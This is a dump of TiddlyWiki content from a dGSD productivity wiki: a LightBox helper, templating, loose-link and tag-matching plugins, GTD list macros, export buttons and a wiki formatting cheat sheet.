		this.showBox("lightBox", onClose);
	},
	
	showAlert: function(icon, message, onClose) {						// Uses standard alert LightBox in MarkupPreBody
		if(this._curBox) return;
		var icoElem = document.getElementById("lightBoxAlertIcon");
		icoElem.src = "im/" + icon + ".png";							// Requires icon.png (48 x 48)
		icoElem.title = icon;
		icoElem.alt = icon;
		document.getElementById("lightBoxAlertMessage").innerHTML = message;
		DC3.LightBox.showBox("lightBoxAlert", onClose);
	},
	
	showBox: function(id, onClose) 
	{
		if(this._curBox) return;
		this._onClose = onClose;										// If valid, call this in hideBox. See comments there!
		//
		// Surprise! In IE, the height:100% in the #overlay CSS definition does
		// not honor the z-order, and calculates the height to be the top margin!
		// So, for IE, I have added this imperfect hack which ,forces the overlay
		// size to the scroll size. This causes funny scrollbar behavior, but the
		// alternatives I tried were really complex. 
		//
		// Surprise #2! IE6 doesn't support alpha transparency in PNG images, and 
		// I use same for the icons in the LightBox Alert. Another hack needed.
		// We can't just change the DIV from containing an IMG tag to using the
		// bloody MS AlphaImageLoader, we also have to save the original IMG tag
		// because the alert is multi-use: the image to be shown can be changed 
		// dynamically. When closing the Lightbox, we restore the original inner
		// IMG tag and clear the filter style. On showing the box, we grab the path
		// to the image file then zap the IMG tag, using the image file path in
		// the filter/AlphaImageLoader. Egad!!!
		//
		var ovly = document.getElementById('lightBoxOverlay');
		if(config.browser.isIE) {
			var h1 = document.documentElement.scrollHeight;
			var h2 = document.documentElement.offsetHeight;
			ovly.style.height = Math.max(h1, h2);
			ovly.style.width = document.documentElement.scrollWidth;
			// Change icon div for IE proprietary
			var alertDivs = document.getElementById(id).getElementsByTagName("div");
			this._alertImgDiv = null;
			for(var i in alertDivs) {
				if(alertDivs[i].className && alertDivs[i].className == "lightBoxAlertIcon") {
					this._alertImgDiv = alertDivs[i];
					break;
				}
			}
			if(this._alertImgDiv) {
				var imgFile = this._alertImgDiv.firstChild.src;
				this._alertImgHTML = this._alertImgDiv.innerHTML;		// Saved to allow dynamic change of image file
				this._alertImgDiv.innerHTML = "";
				this._alertImgDiv.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src=\"" + imgFile + "\", sizingMethod=\"scale\")";
			}
		}
	    ovly.style.display = 'block';
	    this._center(id);
	    this._curBox = id;
	    return false;
	},
	
	hideBox: function()
	{
		if(!this._curBox) return;
		if(this._onClose && this._onClose() === false)					// If onClose() returns false, refuse to close
			return false;
	    document.getElementById(this._curBox).style.display = 'none';
	    document.getElementById('lightBoxOverlay').style.display = 'none';
	    this._curBox = null;											// Allow show calls once again
		// Restore original non-IE image. Code may dynamically change image file!
		if(this._alertImgDiv) {
			this._alertImgDiv.innerHTML = this._alertImgHTML;
			this._alertImgDiv.style.filter = "";
		}
	    return false;
	},
	
	//
	// Internal methods
	//
	_getDimensions: function(elem)		// Lifted from Prototype and made independent
	{
		if(elem.style.display != 'none')
		  return { width: elem.offsetWidth, height: elem.offsetHeight};
		
		// All *Width and *Height properties give 0 on elements with display none,
		// so enable the elem temporarily
		var els = elem.style;
		var origVis = els.visibility;
		var origPos = els.position;
		els.visibility = 'hidden';
		els.position = 'absolute';
		els.display = '';
		var origW = elem.clientWidth;
		var origH = elem.clientHeight;
		els.display = 'none';
		els.position = origPos;
		els.visibility = origVis;
		return {width: origW, height: origH};
	},
	
	//
	// This is rather big. I'll have to look at more elegant way(s)
	// of doing this... some day! :-)
	//
	_center: function(elem)
	{
	    try{
	        elem = document.getElementById(elem);
	    }catch(e){
	        return;
	    }
	
	    var my_width  = 0;
	    var my_height = 0;
	
	    if ( typeof( window.innerWidth ) == 'number' ){
	        my_width  = window.innerWidth;
	        my_height = window.innerHeight;
	    } else if ( document.documentElement && 
	             ( document.documentElement.clientWidth ||
	               document.documentElement.clientHeight ) ){
	        my_width  = document.documentElement.clientWidth;
	        my_height = document.documentElement.clientHeight;
	    }
	    else if ( document.body &&
	            ( document.body.clientWidth || document.body.clientHeight ) ){
	        my_width  = document.body.clientWidth;
	        my_height = document.body.clientHeight;
	    }
	
	    elem.style.position = 'absolute';
	    elem.style.zIndex   = 99;
	
	    var scrollY = 0;
	
	    if ( document.documentElement && document.documentElement.scrollTop ){
	        scrollY = document.documentElement.scrollTop;
	    }else if ( document.body && document.body.scrollTop ){
	        scrollY = document.body.scrollTop;
	    }else if ( window.pageYOffset ){
	        scrollY = window.pageYOffset;
	    }else if ( window.scrollY ){
	        scrollY = window.scrollY;
	    }
	
	    var elementDimensions = this._getDimensions(elem);
	
	    var setX = ( my_width  - elementDimensions.width  ) / 2;
	    var setY = ( my_height - elementDimensions.height ) / 2 + scrollY;
	
	    setX = ( setX < 0 ) ? 0 : setX;
	    setY = ( setY < 0 ) ? 0 : setY;
	
	    elem.style.left = setX + "px";
	    elem.style.top  = setY + "px";
	
	    elem.style.display  = 'block';
	}
};
//}}}
/***
|''Name:''|Templater|
|''Version:''||
|''Source:''|[[AiddlyWiki|http://aiddlywiki.sourceforge.net]]|
|''Author:''|[[Arphen Lin|mailto:arphenlin@gmail.com]]|
|''Type:''|WikiBarPlugin addon|
|''Required:''|WikiBarPlugin 1.0.0+|
!Description
Load a tiddler template.
!Installation
#install WikiBar at first
#create your addon as a tiddler with tag 'wikibarAddons'
!Code
***/
//{{{

//----------------------------------------------------------------------------
// addon install function: this is a must
//----------------------------------------------------------------------------
function wikibar_addonInstall(unused){

  // define tools
  var loadTemplate={
        TYPE:'MENU',
  		  CAPTION:'template',
  		  options:{
  		    TYPE:'MENU',
  		    DYNAITEM: loadTemplate_genOptions
  		  },
  		  SEPERATOR: {/*---------------------------*/},
  		  DYNAITEM: loadTemplate_genTemplates
  		};

  // register tools
  wikibarStore.addon.loadTemplate = loadTemplate;

  // init
  loadTemplate_init();
}

function loadTemplate_init(){

  // set default value
  var cookies = [
    {name: 'chkLoadTemplateReplaceTitle', value: false},
    {name: 'chkLoadTemplateAppendTag', value: true},
    {name: 'chkLoadTemplateReplaceText', value: false}
  ];

  for(var i=0; i<cookies.length; i++){
    if(config.options[cookies[i].name]==null){
      config.options[cookies[i].name]=cookies[i].value;
      saveOptionCookie(cookies[i].name);
    }
  }

}

function loadTemplate_selectTemplate(param){

  var title = param.button.tiddlerTitle;
  var tiddlerWrapper = document.getElementById('tiddler'+title);
  var theTitle = wikibar_resolveEditItem(tiddlerWrapper, 'title');
  var theTag = wikibar_resolveEditItem(tiddlerWrapper, 'tags');
  var editor = param.button.editor;

  // get tiddler data
  var tiddler = store.getTiddler(this.title);

  if(config.options['chkLoadTemplateReplaceTitle']){
    theTitle.value = tiddler.title;
  }

  if(config.options['chkLoadTemplateAppendTag']){
    theTag.value = tiddler.getTags();
  }

  if(config.options['chkLoadTemplateReplaceText']){
    editor.value = tiddler.text;
    wikibar_editSelectAll(param);
  }else{  // inset current cursor
    param.params = tiddler.text;
    wikibar_editFormatByCursor(param);
  }

}

function loadTemplate_genOptions(){
  var toolset={};

  toolset.replaceTitle = {
    CAPTION:'replace title',
    TOOLTIP:'current title will be replaced',
    SELECTED: config.options['chkLoadTemplateReplaceTitle'],
    HANDLER:function(param){
      config.options['chkLoadTemplateReplaceTitle'] = !config.options['chkLoadTemplateReplaceTitle'];
      saveOptionCookie('chkLoadTemplateReplaceTitle');
    }
  };

  toolset.appendTag = {
    CAPTION:'append tags',
    TOOLTIP:'template tags will be appended',
    SELECTED: config.options['chkLoadTemplateAppendTag'],
    HANDLER:function(param){
      config.options['chkLoadTemplateAppendTag'] = !config.options['chkLoadTemplateAppendTag'];
      saveOptionCookie('chkLoadTemplateAppendTag');
    }
  };

  toolset.replaceText = {
    CAPTION:'replace text',
    TOOLTIP:'current text will be replaced',
    SELECTED: config.options['chkLoadTemplateReplaceText'],
    HANDLER:function(param){
      config.options['chkLoadTemplateReplaceText'] = !config.options['chkLoadTemplateReplaceText'];
      saveOptionCookie('chkLoadTemplateReplaceText');
    }
  };

  return toolset;
}

function loadTemplate_genTemplates(){

  try{

  	var tiddlers = store.getTaggedTiddlers('TiddlerTemplates');
  	if(!tiddlers) {
  	  displayMessage('Template not found! You can create a new tiddler and add \"TiddlerTemplates\" tag');
  	  return;
  	}

    var toolset={};
//    toolset.TYPE='MENU';

  	for(i=0; i<tiddlers.length; i++){
  		var title = tiddlers[i].title.trim();
      toolset[title] = {
        title: title,
        HANDLER: loadTemplate_selectTemplate
      };
  	}

    return toolset;

  }catch(ex){alert(ex);}

}

//}}}

//{{{
// for debugging: you can turn it off in final release ----------------------
wikibar_addonInstall();
//}}}


/***
|Name|LooseLinksPlugin|
|Source|http://www.TiddlyTools.com/#LooseLinksPlugin|
|Documentation|http://www.TiddlyTools.com/#LooseLinksPlugin|
|Version|1.1.2|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|case-folded/space-folded wiki words|
!!!!!Documentation
<<<
This plugin extends the TiddlyWiki core handling for tiddler links to permit use of non-WikiWord variations of mixed-case and/or added/omitted spaces within double-bracketed text with titles of //existing// tiddlers, using a 'loose' (case-folded/space-folded) comparison.  This allows text that occurs in normal prose to be more easily linked to tiddler titles by using double-brackets without the full 'pretty link' syntax.  For example:
{{{
[[CoreTweaks]], [[coreTweaks]], [[core tweaks]],
[[CORE TWEAKS]], [[CoRe TwEaKs]], [[coreTWEAKS]]
}}}
>[[CoreTweaks]], [[coreTweaks]], [[core tweaks]],
>[[CORE TWEAKS]], [[CoRe TwEaKs]], [[coreTWEAKS]]
<<<
!!!!!Configuration
<<<
<<option chkLooseLinks>> Allow case-folded and/or space-folded text to link to existing tiddler titles
"""<<option chkLooseLinks>>"""
<<<
!!!!!Revisions
<<<
2009.08.14 [1.1.2] corrected call to addNotification()
2009.08.14 [1.1.1] code cleanup
2009.08.02 [1.1.0] big performance rewrite: use cached LooseLinksMap[] instead of scanning each time
2009.01.06 [1.0.0] converted to stand-alone plugin
2008.10.14 [0.0.0] initial release (as [[CoreTweaks]] #664 - http://trac.tiddlywiki.org/ticket/664)
<<<
!!!!!Code
***/
//{{{
version.extensions.LooseLinksPlugin={major:1, minor:1, revision:2, date: new Date(2009,8,15)};

if (!config.options.chkLooseLinks)
	config.options.chkLooseLinks=false; // default to standard

if (window.caseFold_createTiddlyLink===undefined) { // only once
	window.caseFold_createTiddlyLink = window.createTiddlyLink;
	window.createTiddlyLink = function(place,title,includeText,className) {
		var btn=window.caseFold_createTiddlyLink.apply(this,arguments); // create core link
		if (!config.options.chkLooseLinks) return btn;
		if (store.getTiddlerText(title)) return btn; // matching tiddler (or shadow) exists
		var tid=window.getLooseLinksMap()[title.toLowerCase().replace(/\s/g,'')];
		if (tid) {
			var i=getTiddlyLinkInfo(tid,className);
			btn.setAttribute('tiddlyLink',tid);
			btn.title=i.subTitle;
			btn.className=i.classes;
		}
		return btn;
	}
}
window.getLooseLinksMap=function(title) {
	if (!config.options.chkLooseLinks) return {}; // disable
	if (!config.looseLinksMap) { // init/cache on demand
		config.looseLinksMap={};
		store.forEachTiddler(function(title,tiddler){
			config.looseLinksMap[title.toLowerCase().replace(/\s/g,'')]=title;
		});
	}
	if (title) config.looseLinksMap[title.toLowerCase().replace(/\s/g,'')]=title; // update
	return config.looseLinksMap;
}
store.addNotification(null,window.getLooseLinksMap); // notify
//}}}
<<tiddler SideBarOptions>>
<<tabs txtMGTDMore
	"History" "Timeline" TabTimeline
	"Tags" "All Tags" TabAllTags
	"All" "All Tiddlers" TabAll
	"Misc." "Hidden Tiddlers & Settings" TabMore
	>>
!!Examples of dGSDInboxList Macro:
{{cols2{
{{col{
<<dGSDInboxList title:'Last 10 Emails'
  account:"1"
  maxEmails:10
  view:MailList
  mode:local
  sortBy:date
  dontShowEmpty:no
  onlyNew:no
  onlyFlagged:no
  showRefreshButton:true
>>
}}}
{{col{
&nbsp;
}}}
&nbsp;
/%< <xdGSDInboxList title:'Only New Emails (5)'
  maxEmails:5
  view:MailList
  mode:local
  sortBy:date
  dontShowEmpty:no
  onlyNew:yes
  onlyFlagged:no
  showRefreshButton:yes
> >%/
}}}
}}}
{{cols2{
{{col{
<<xdGSDInboxList title:'Only Flagged Emails (3)'
  maxEmails:3
  view:MailList
  mode:local
  sortBy:date
  dontShowEmpty:no
  onlyNew:no
  onlyFlagged:yes
>>
}}}
{{col{
<<xdGSDInboxList title:'Only Flagged "NotJunk" Emails (5)'
  maxEmails:5
  view:MailList
  mode:local
  sortBy:date
  dontShowEmpty:no
  onlyNew:no
  onlyFlagged:yes
  showRefreshButton:off
>>
}}}
}}}

{{cols2{
{{col{
<<xdGSDInboxList title:'Only Deleted Emails'
  maxEmails:3
  view:MailList
  mode:local
  sortBy:date
  dontShowEmpty:no
  onlyNew:no
  onlyFlagged:yes
  onlyDeleted:yes
  showRefreshButton:off
>>
}}}
{{col{}}}
}}}
<<saveAs "label:Click here to make an empty dGSD TW (lots of plugins)" "filename:dGSD-loaded.html" quiet replace not [[dontSaveAs]] and not [[systemConfigDisabled]]>>

<<saveAs "label:Click here to make an empty dGSD Lite TW (less plugins)" "filename:dGSD-empty.html" quiet replace not [[dontSaveAs]] and not [[optional]] and not [[systemConfigDisabled]] and not [[pluginInfo]]>>

<<saveAs "label:Click here to make an empty dGSD Export-Upgrade File" "filename:dGSD-export.html" "type:ps" quiet replace [[dGSD]] or [[dGSDBookNotes]] or [[dGSDTouch]] or [[dGSDTicklerCalendar]] or [[dGSDTicklerCalendarPlugin]] or [[dGSDMailPlugin]]>>

<<saveAs "label:Loaded Plugins Only" "filename:dGSD-loaded-plugins-export.html" "type:ps" quiet replace [[systemConfig]] and not [[systemConfigDisabled]] and not [[dontSaveAs]]>>

/%Export all Tiddlers tagged with <<tag dGSD>>, <<tag dGSDBookNotes>>, and <<tag dGSDTouch>>

<<exportTiddlers inline>>%/
(Contributed by Ken Mankoff)
{{cols2{


{{col{

<<mgtdList startTag:Action title:'Next' tags:'Next && !Done'
view:Action mode:global
       group:Project
       gView:bold
       newButtonTags:'Action Next'
       where:tiddler.hasActiveProject()
       >>

<<mgtdList startTag:Action title:'Waiting' tags:'[(Waiting For)] && !
Done' view:Action mode:global
       group:Project
       gView:bold
       where:tiddler.hasActiveProject()
       newButtonTags:'Action [(Waiting For)]'
       >>


}}}

{{col{

<<mgtdList title:'Starred Actions' startTag:Starred tags:'Action && !
Done' view:ActionProj mode:global
       group:ActionStatus
       gView:bold
       newButtonTags:'Starred Action'
       >>

<<mgtdList title:'Starred Projects' startTag:Starred tags:'Project && !
Complete' view:Project mode:global
       group:ProjectStatus
       gView:bold
       newButtonTags:'Starred Project'
       >>

<<mgtdList title:'Other Starred Items' startTag:Starred tags:'!Project
&& !Action' view:star mode:global
       group:GTDComponent
       gView:bold
       newButtonTags:'Starred'
       >>

}}}

}}}

!Inline Formatting
|!Option|!Syntax|!Output|h
|bold font|{{{''bold''}}}|''bold''|
|italic type|{{{//italic//}}}|//italic//|
|underlined text|{{{__underlined__}}}|__underlined__|
|strikethrough text|{{{--strikethrough--}}}|--strikethrough--|
|superscript text|{{{^^super^^script}}}|^^super^^script|
|subscript text|{{{~~sub~~script}}}|~~sub~~script|
|highlighted text|{{{@@highlighted@@}}}|@@highlighted@@|
|preformatted text|<html><code>{{{preformatted}}}</code></html>|{{{preformatted}}}|
|spoiler text|{{{%%Mouseover me!%%}}}|%%Good work!%%|
!Block Elements
!!Headings
{{{
!Heading 1
!!Heading 2
!!!Heading 3
!!!!Heading 4
!!!!!Heading 5
}}}
//''Note: The headings can be folded by including {{{<<foldHeadings>>}}} at the bottom of this Tiddler''//
//''See [[Folded Heading Example]]''//
<<<
!Heading 1
!!Heading 2
!!!Heading 3
!!!!Heading 4
!!!!!Heading 5
<<<
!!Lists
{{{
* unordered list, level 1
** unordered list, level 2
*** unordered list, level 3

# ordered list, level 1
## ordered list, level 2
### ordered list, level 3

; definition list, term
: definition list, description
}}}
<<<
* unordered list, level 1
** unordered list, level 2
*** unordered list, level 3

# ordered list, level 1
## ordered list, level 2
### ordered list, level 3

; definition list, term
: definition list, description
<<<
!!Blockquotes
{{{
> blockquote, level 1
>> blockquote, level 2
>>> blockquote, level 3

<<<
blockquote allowing other tags within
<<<
}}}
<<<
> blockquote, level 1
>> blockquote, level 2
>>> blockquote, level 3

> blockquote
<<<
!!Preformatted Text
<html><pre>
{{{
preformatted (e.g. code)
}}}
</pre></html>
<<<
{{{
preformatted (e.g. code)
}}}
<<<
!!Tables
{{{
|CssClass|k
|!heading column 1|!heading column 2|h
|row 1, column 1|row 1, column 2|
|row 2, column 1|row 2, column 2|
|>|COLSPAN|
|ROWSPAN| … |
|~| … |
|CssProperty:value;…| … |
|caption|c
}}}
''Annotation:''
* The k marker at the end of a row indicates the preceeding cell contains a CSS class name
* The ! marker sets the cell to a column heading
* The h marker at the end of a row makes the headers sortable
* The {{{>}}} marker creates a "colspan", causing the current cell to merge with the one to the right.
* The {{{~}}} marker creates a "rowspan", causing the current cell to merge with the one above.
* Begin a table with the line {{{|editable|k}}} to make editable, click on the "E" to edit.
<<<
|editable|k
| Column A | Column B|h
|These columns are sortable|Click on a header to sort|
|This is also editable|Click on the E to edit|
|This is editable|These are sortable|

|CssClass|k
|!heading column 1|!heading column 2|h
|row 1, column 1|row 1, column 2|
|row 2, column 1|row 2, column 2|
|>|COLSPAN|
|ROWSPAN| … |
|~| … |
|CssProperty:value;…| … |
|caption|c
<<<
!!Images /% TODO %/
cf. TiddlyWiki.com: http://www.tiddlywiki.com/#EmbeddedImages

!Hyperlinks
* [[WikiWords|WikiWord]] are automatically transformed to hyperlinks to the respective tiddler
** the automatic transformation can be suppressed by preceding the respective WikiWord with a tilde ({{{~}}}): {{{~WikiWord}}}
* [[PrettyLinks]] are enclosed in square brackets and contain the desired tiddler name: {{{[[tiddler name]]}}}
** optionally, a custom title or description can be added, separated by a pipe character ({{{|}}}): {{{[[title|target]]}}}<br>''N.B.:'' In this case, the target can also be any website (i.e. URL).
!Custom Styling
* {{{@@CssProperty:value;CssProperty:value;…@@}}}<br>''N.B.:'' CSS color definitions should use lowercase letters to prevent the inadvertent creation of WikiWords.
* <html><code>{{customCssClass{…}}}</code></html>
* raw HTML can be inserted by enclosing the respective code in HTML tags: {{{<html> … </html>}}}
!Special Markers
* {{{<br>}}} forces a manual line break
* {{{----}}} creates a horizontal ruler
* [[HTML entities|http://www.tiddlywiki.com/#HtmlEntities]]
* {{{<<macroName>>}}} calls the respective [[macro|Macros]]
* To hide text within a tiddler so that it is not displayed, it can be wrapped in {{{/%}}} and {{{%/}}}.<br/>This can be a useful trick for hiding drafts or annotating complex markup.
* To prevent wiki markup from taking effect for a particular section, that section can be enclosed in three double quotes: e.g. {{{"""WikiWord"""}}}.

!!Dates
An always-current datestamp can be entered by using the {{{<<today>>}}} macro. See DateStampPluginInfo for more details on formatting.
To insert a datestamp or timestamp that will be set on first edit and not modified afterwards, use {{{{ts}}}} or {{{{ds}}}}. See InstantTimestampPlugin for more formatting options.
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-11880348-2']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
/***
|Name|MatchTagsPlugin|
|Source|http://www.TiddlyTools.com/#MatchTagsPlugin|
|Documentation|http://www.TiddlyTools.com/#MatchTagsPluginInfo|
|Version|2.0.6ds|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|'tag matching' with full boolean expressions (AND, OR, NOT, and nested parentheses)|
!!!!!Documentation
> see [[MatchTagsPluginInfo]]
!!!!!Revisions
<<<
2013.02.06 2.0.6ds (David Szego): Remove macros, links, and other characters in first-line (%4) formatting
2011.10.28 2.0.6 added .matchTags CSS class to popups to enable custom styling via StyleSheet
2011.01.23 2.0.5 fix core tweak for TW262+: adjust code in config.filters['tag'] instead of filterTiddlers()
2010.08.11 2.0.4 in getMatchingTiddlers(), fixed sorting for descending order (e.g, "-created")
| please see [[MatchTagsPluginInfo]] for additional revision details |
2008.02.28 1.0.0 initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.MatchTagsPlugin= {major: 2, minor: 0, revision: 6, date: new Date(2011,10,28)};

// store.getMatchingTiddlers() processes boolean expressions for tag matching
//    sortfield (optional) sets sort order for tiddlers - default=title
//    tiddlers (optional) use alternative set of tiddlers (instead of current store)
TiddlyWiki.prototype.getMatchingTiddlers = function(tagexpr,sortfield,tiddlers) {

	var debug=config.options.chkDebug; // abbreviation
	var cmm=config.macros.matchTags; // abbreviation
	var r=[]; // results are an array of tiddlers
	var tids=tiddlers||store.getTiddlers();
	if (tids && sortfield) tids=store.sortTiddlers(tids,sortfield);
	if (debug) displayMessage(cmm.msg1.format([tids.length]));

	// try simple lookup to quickly find single tags or tags that
	// contain boolean operators as literals, e.g. "foo and bar"
	for (var t=0; t<tids.length; t++)
		if (tids[t].isTagged(tagexpr)) r.pushUnique(tids[t]);
	if (r.length) {
		if (debug) displayMessage(cmm.msg4.format([r.length,tagexpr]));
		return r;
	}
	
	// convert expression into javascript code with regexp tests,
	// so that "tag1 AND ( tag2 OR NOT tag3 )" becomes
	// "/\~tag1\~/.test(...) && ( /\~tag2\~/.test(...) || ! /\~tag3\~/.test(...) )"

	// normalize whitespace, tokenize operators, delimit with "~"
	var c=tagexpr.trim(); // remove leading/trailing spaces
	c = c.replace(/\s+/ig," "); // reduce multiple spaces to single spaces
	c = c.replace(/\(\s?/ig,"~(~"); // open parens
	c = c.replace(/\s?\)/ig,"~)~"); // close parens
	c = c.replace(/(\s|~)?&&(\s|~)?/ig,"~&&~"); // &&
	c = c.replace(/(\s|~)AND(\s|~)/ig,"~&&~"); // AND
	c = c.replace(/(\s|~)?\|\|(\s|~)?/ig,"~||~"); // ||
	c = c.replace(/(\s|~)OR(\s|~)/ig,"~||~"); // OR
	c = c.replace(/(\s|~)?!(\s|~)?/ig,"~!~"); // !
	c = c.replace(/(^|~|\s)NOT(\s|~)/ig,"~!~"); // NOT
	c = c.replace(/(^|~|\s)NOT~\(/ig,"~!~("); // NOT(
	// change tag terms to regexp tests
	var terms=c.split("~"); for (var i=0; i<terms.length; i++) { var t=terms[i];
		if (/(&&)|(\|\|)|[!\(\)]/.test(t) || t=="") continue; // skip operators/parens/spaces
		if (t==config.macros.matchTags.untaggedKeyword)
			terms[i]="tiddlertags=='~~'"; // 'untagged' tiddlers
		else
			terms[i]="/\\~"+t+"\\~/.test(tiddlertags)";
	}
	c=terms.join(" ");
	if (debug) { displayMessage(cmm.msg2.format([tagexpr])); displayMessage(cmm.msg3.format([c])); }

	// scan tiddlers for matches
	for (var t=0; t<tids.length; t++) {
	 	// assemble tags from tiddler into string "~tag1~tag2~tag3~"
		var tiddlertags = "~"+tids[t].tags.join("~")+"~";
		try { if(eval(c)) r.push(tids[t]); } // test tags
		catch(e) { // error in test
			displayMessage(cmm.msg2.format([tagexpr]));
			displayMessage(cmm.msg3.format([c]));
			displayMessage(e.toString());
			break; // skip remaining tiddlers
		}
	}
	if (debug) displayMessage(cmm.msg4.format([r.length,tagexpr]));
	return r;
}
//}}}
//{{{
config.macros.matchTags = {
	msg1: "scanning %0 input tiddlers",
	msg2: "looking for '%0'",
	msg3: "using expression: '%0'",
	msg4: "found %0 tiddlers matching '%1'",
	noMatch: "no matching tiddlers",
	untaggedKeyword: "-",
	untaggedLabel: "no tags",
	untaggedPrompt: "show tiddlers with no tags",
	defTiddler: "MatchingTiddlers",
	defTags: "",
	defFormat: "[[%0]]",
	defSeparator: "\n",
	reportHeading: "Found %0 tiddlers tagged with: '{{{%1}}}'\n----\n",
	handler: function(place,macroName,params,wikifier,paramString,tiddler) {
		var mode=params[0]?params[0].toLowerCase():'';
		if (mode=="inline")
			params.shift();
		if (mode=="report" || mode=="panel") {
			params.shift();
			var target=params.shift()||this.defTiddler;
		}
		if (mode=="popup") {
			params.shift();
			if (params[0]&&params[0].substr(0,6)=="label:") var label=params.shift().substr(6);
			if (params[0]&&params[0].substr(0,7)=="prompt:") var prompt=params.shift().substr(7);
		} else {
			var fmt=(params.shift()||this.defFormat).unescapeLineBreaks();
			var sep=(params.shift()||this.defSeparator).unescapeLineBreaks();
		}
		var sortBy="+title";
		if (params[0]&&params[0].substr(0,5)=="sort:") sortBy=params.shift().substr(5);
		var expr = params.join(" ");
		if (mode!="panel" && (!expr||!expr.trim().length)) return;
		if (expr==this.untaggedKeyword)
			{ var label=this.untaggedLabel; var prompt=this.untaggedPrompt };
		switch (mode) {
			case "popup": this.createPopup(place,label,expr,prompt,sortBy); break;
			case "panel": this.createPanel(place,expr,fmt,sep,sortBy,target); break;
			case "report": this.createReport(target,this.defTags,expr,fmt,sep,sortBy); break;
			case "inline": default: this.createInline(place,expr,fmt,sep,sortBy); break;
		}
	},
	formatList: function(tids,fmt,sep) {
		var out=[];
		for (var i=0; i<tids.length; i++) { var t=tids[i];
			var title=t.title;
			var who=t.modifier;
			var when=t.modified.toLocaleString();
			var text=t.text;
			var first=t.text.split("\n")[0];
                        // Truncate, and remove any macros and special Wiki characters in the first line, as they can crap out and cause problems in rendering
                        first = first.substring(0,200).replace(/[^\d^\w^\s]/g,"") + "&hellip;";
			var desc=store.getTiddlerSlice(t.title,"description");
			desc=desc||store.getTiddlerSlice(t.title,"Description");
			desc=desc||store.getTiddlerText(t.title+"##description");
			desc=desc||store.getTiddlerText(t.title+"##Description");
			var tags=t.tags.length?'[['+t.tags.join(']] [[')+']]':'';
			out.push(fmt.format([title,who,when,text,first,desc,tags]));
		}
		return out.join(sep);
	},
	createInline: function(place,expr,fmt,sep,sortBy) {
		wikify(this.formatList(store.sortTiddlers(store.getMatchingTiddlers(expr),sortBy),fmt,sep),place);
	},
	createPopup: function(place,label,expr,prompt,sortBy) {
		var btn=createTiddlyButton(place,
			(label||expr).format([expr]),
			(prompt||config.views.wikified.tag.tooltip).format([expr]),
			function(ev){ return config.macros.matchTags.showPopup(this,ev||window.event); });
		btn.setAttribute("sortBy",sortBy);
		btn.setAttribute("expr",expr);
	},
	showPopup: function(here,ev) {
		var p=Popup.create(here,null,"matchTags popup"); if (!p) return false;
		var tids=store.getMatchingTiddlers(here.getAttribute("expr"));
		store.sortTiddlers(tids,here.getAttribute("sortBy"));
		var list=[]; for (var t=0; t<tids.length; t++) list.push(tids[t].title);
		if (!list.length) createTiddlyText(p,this.noMatch);
		else {
			var b=createTiddlyButton(createTiddlyElement(p,"li"),
				config.views.wikified.tag.openAllText,
				config.views.wikified.tag.openAllTooltip,
				function() {
					var list=this.getAttribute("list").readBracketedList();
					story.displayTiddlers(null,tids);
				});
			b.setAttribute("list","[["+list.join("]] [[")+"]]");
			createTiddlyElement(p,"hr");
		}
		var out=this.formatList(tids," &nbsp;[[%0]]&nbsp; ","\n"); wikify(out,p);
		Popup.show();
		ev.cancelBubble=true;
		if(ev.stopPropagation) ev.stopPropagation();
		return false;
	},
	createReport: function(target,tags,expr,fmt,sep,sortBy) {
		var tids=store.sortTiddlers(store.getMatchingTiddlers(expr),sortBy);
		if (!tids.length) { displayMessage('no matches for: '+expr); return false; }
		var msg=config.messages.overwriteWarning.format([target]);
		if (store.tiddlerExists(target) && !confirm(msg)) return false;
		var out=this.reportHeading.format([tids.length,expr])
		out+=this.formatList(tids,fmt,sep);
		store.saveTiddler(target,target,out,config.options.txtUserName,new Date(),tags,{});
		story.closeTiddler(target); story.displayTiddler(null,target);
	},
	createPanel: function(place,expr,fmt,sep,sortBy,tid) {
		var s=createTiddlyElement(place,"span"); s.innerHTML=store.getTiddlerText("MatchTagsPlugin##html");
		var f=s.getElementsByTagName("form")[0];
		f.expr.value=expr; f.fmt.value=fmt; f.sep.value=sep.escapeLineBreaks();
		f.tid.value=tid; f.tags.value=this.defTags;
	}
};
//}}}
/***
//{{{
!html
<form style='display:inline;white-space:nowrap'>
<input type='text'    name='expr' style='width:50%' title='tag expression'><!--
--><input type='text'    name='fmt'  style='width:10%' title='list item format'><!--
--><input type='text'    name='sep'  style='width:5%'  title='list item separator'><!--
--><input type='text'    name='tid'  style='width:12%' title='target tiddler title'><!--
--><input type='text'    name='tags' style='width:10%' title='target tiddler tags'><!--
--><input type='button'  name='go'   style='width:8%'  value='go' onclick="
	var expr=this.form.expr.value;
	if (!expr.length) { alert('Enter a boolean tag expression'); return false; }
	var fmt=this.form.fmt.value;
	if (!fmt.length) { alert('Enter the list item output format'); return false; }
	var sep=this.form.sep.value.unescapeLineBreaks();
	var tid=this.form.tid.value;
	if (!tid.length) { alert('Enter a target tiddler title'); return false; }
	var tags=this.form.tags.value;
	config.macros.matchTags.createReport(tid,tags,expr,fmt,sep,'title');
	return false;">
</form>
!end
//}}}
***/
//{{{
// SHADOW TIDDLER for displaying default panel input form
config.shadowTiddlers.MatchTags="<<matchTags panel>>";
//}}}
//{{{
// TWEAK core filterTiddlers() or config.filters['tag'] (in TW262+)
// to use getMatchingTiddlers instead getTaggedTiddlers
// for enhanced boolean matching in [tag[...]] syntax
var TW262=config.filters && config.filters['tag']; // detect TW262+
var fname=TW262?"config.filters['tag']":"TiddlyWiki.prototype.filterTiddlers";
var code=eval(fname).toString().replace(/getTaggedTiddlers/g,'getMatchingTiddlers');
eval(fname+'='+code);
//}}}
//{{{
// REDEFINE core handler for enhanced boolean matching in tag:"..." paramifier
// use filterTiddlers() instead of getTaggedTiddlers() to get list of tiddlers.
config.paramifiers.tag = {
	onstart: function(v) {
		var tagged = store.filterTiddlers("[tag["+v+"]]");
